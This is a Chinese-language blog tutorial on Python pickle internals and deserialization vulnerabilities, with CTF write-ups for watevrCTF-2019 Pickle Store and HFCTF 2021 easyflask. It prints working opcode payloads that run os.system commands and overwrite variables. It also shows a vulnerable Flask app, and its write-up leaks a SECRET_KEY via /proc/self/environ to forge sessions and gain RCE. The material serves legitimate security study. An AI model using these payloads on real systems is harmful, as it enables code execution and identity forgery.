Python pickle

Python pickle

  • pickle在python中 实现对象结构的 序列化和反序列化
  • python序列化(Pickling)是一个将python对象层次结构转换为 可以本地储存 或者 网络传输的 字节流的过程
  • python反序列化(unpickling) 是将字节流还原为对象层次结构

数据序列化:就是把不能直接储存的数据 储存到磁盘中,从而延长生命周期

python 常用的系列化库:picklejson

pickle模块可以将任意对象序列化成为二进制的字符串,并写入文件中,还可以从文件中读取并且转为写入时的类型

Pickle工作原理

由一串串独立的opcode(指令集)组成,我们可以通过手写opcode来构建

opcode

OpCode全称Operation Code(操作码)如十六进制数0x90

常用的opcode

参考链接

基础方法

方法 作用
dump 序列化写入文件
load 读取文件反序列化
dumps 序列化返回对象
loads 反序列化对象

序列化函数

pickle.hump(obj,file,[protocol])函数

接受三个参数,第一个参数包含要储存在文件中的对象,第二个参数事 以二进制形式写入时 所需文件时 获得的文件对象,第三个参数表示序列化协议

举个栗子:

opcode=b'''cos
system
(S'whoami'
tR.'''

cos
system

(S'ls'

tR.

字节码为c,形式为c[moudle]\n[instance]\n,导入os.system。并将函数压入stack

字节码为(,向stack中压入一个MARK。字节码为S,示例化一个字符串对象'whoami'并将其压入stack

字节码为t,寻找栈中MARK,并组合之间的数据为元组。然后通过字节码R执行os.system('whoami')

字节码为.,程序结束,将栈顶元素os.system('ls')作为返回值

import

opcode=b'''cos
system
(S'whoami'
tR.'''

pockle.loads(opcode)

反序列化函数

pickle.load(file)函数

一个实例

image-20241016210700522

image-20241016211005174

举个栗子,简单看一下数据序列化的样子

image-20241018152949984

参考文章

__getstate__函数

在序列化时调用,指定序列化 某些参数在反序列化时恢复参数

__setstate__函数

反序列化是配合 __getstate__函数调用

import pickle

class MyData:

    def __init__(self, x):

        self.x = x
        self.y = self.sqrt(x)

    def sqrt(self,x):
        return x**x

    def __getstate__(self):
        self.state = "ok"
        print("enter getstate")
        #  self.__dict__存储关于self.xxx的一些东西
        odict = self.__dict__.copy()
        del odict['y']
        print(odict)
        return odict

    def __setstate__(self, input):
        print("enter setstate")
        print(input)
        self.x = input['x']
        self.y = self.sqrt(self.x)

obj = MyData(3)
# 序列化
print("序列化")
dumped = pickle.dumps(obj)
# 反序列化
print("反序列化")
loaded = pickle.loads(dumped)
print("反序列化结果", loaded.y)

__reduce__方法

用于对象的序列化,如果 __reduce__方法存在的话,pickle模块会调用对象的 __reduce__方法

__reduce__方法返回一个元组,包含两个元素:一个callable和一个包含传递callable参数的元组,callable通常是一个函数或者类的构造函数

import pickle

class MyClass:
    def __init__(self, value):
        self.value = value

    def __reduce__(self):
        # 返回一个元组,包含两个元素:
        # 1. 一个callable,用于从pickle状态重建对象
        # 2. 一个元组,包含传递给callable的参数
        return (self.__class__, (self.value,))

# 创建一个对象
obj = MyClass(42)

# 序列化对象
serialized_obj = pickle.dumps(obj)

# 反序列化对象
deserialized_obj = pickle.loads(serialized_obj)

# 输出反序列化后的对象
print(deserialized_obj.value)  # 输出: 42

image-20241018145023002

参考教程

Pickle反序列化漏洞

当我们反序列化一串未知的二进制字节流时,可能会引发恶意的代码执行,因为无法确定该二进制字符串是否是恶意代码

命令执行

手写opcode构造payload,达到一次实现多个命令的结果

import pickle
 
opcode=b'''cos
system
(S'whoami'
tRcos
system
(S'whoami'
tR.'''
pickle.loads(opcode)
 
#结果如下
xiaoh\34946
xiaoh\34946

实例化对象

import pickle
 
class Person:
    def __init__(self,age,name):
        self.age=age
        self.name=name
 
 
opcode=b'''c__main__
Person
(I18
S'Pickle'
tR.'''
 
p=pickle.loads(opcode)
print(p)
print(p.age,p.name)
 
###
<__main__.Person object at 0x00000223B2E14CD0>
18 Pickle

变量覆盖

sessiontoken中,常常储存了一些用户信息,因此我们可以通过变量覆盖实现身份伪造,伪造tokensession

#secret.py
secret="This is a key"
import pickle
import secret
 
print("secret变量的值为:"+secret.secret)
 
opcode=b'''c__main__
secret
(S'secret'
S'Hack!!!'
db.'''
fake=pickle.loads(opcode)
 
print("secret变量的值为:"+fake.secret)
 
###
secret变量的值为:This is a key
secret变量的值为:Hack!!!

[watevrCTF-2019]Pickle Store

image-20241017213652746

伪造session

#coding:utf8
import pickle
import base64

result = pickle.loads(base64.b64decode(b'gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAMmE0MDIxOTA4NmI0YTk1MDNkYWNkNjc1OTRlODg1NjhxBXUu'))
print(result)	#使用b'...'是为了确保处理的是二进制数据

image-20241018152328358

当尝试买了个十块钱的东西后,cookie发生了变化

image-20241018152246453

hmac验证,利用反弹shell

image-20241018172147904

cat flag.txt得到flag

[HFCTF 2021 Final]easyflask

根据提示访问源码 /file?file=/app/source

#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"

User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 0,
    '__repr__': lambda o: o.uname,
})


@app.route('/', methods=('GET',))
def index_handler():
    if not session.get('u'):
        u = pickle.dumps(User())
        session['u'] = u
    return "/file?file=index.js"


@app.route('/file', methods=('GET',))
def file_handler():
    path = request.args.get('file')
    path = os.path.join('static', path)
    if not os.path.exists(path) or os.path.isdir(path) \
            or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
        return 'disallowed'

    with open(path, 'r') as fp:
        content = fp.read()
    return content


@app.route('/admin', methods=('GET',))
def admin_handler():
    try:
        u = session.get('u')
        if isinstance(u, dict):
            u = b64decode(u.get('b'))
        u = pickle.loads(u)
    except Exception:
        return 'uhh?'

    if u.is_admin == 1:
        return 'welcome, admin'
    else:
        return 'who are you?'


if __name__ == '__main__':
    app.run('0.0.0.0', port=80, debug=False)

访问/admin没权限

/proc/self/environ

在 file路由下访问环境变量/proc/self/environ ,读取SECRET_KEY值

image-20241022145607667

glzjin22948575858jfjfjufirijidjitg3uiiuuh

接下来构造密钥结构

    try:
        u = session.get('u')
        if isinstance(u, dict):
            u = b64decode(u.get('b'))
        u = pickle.loads(u)

获取u的值 检查是否为字典,是字典就获取键 b的值,并对其及逆行base64解码

因此构造 {"u":{"b":"反序列化的内容"}}

__reduce__进行rce

image-20241024215356077

image-20241024215326778

替换session之后访问 /admin

image-20241024214606422

监听 直接cat /flag

image-20241024215913182

posted @ 2024-10-21 21:45  Yolololololo  阅读(22)  评论(0编辑  收藏  举报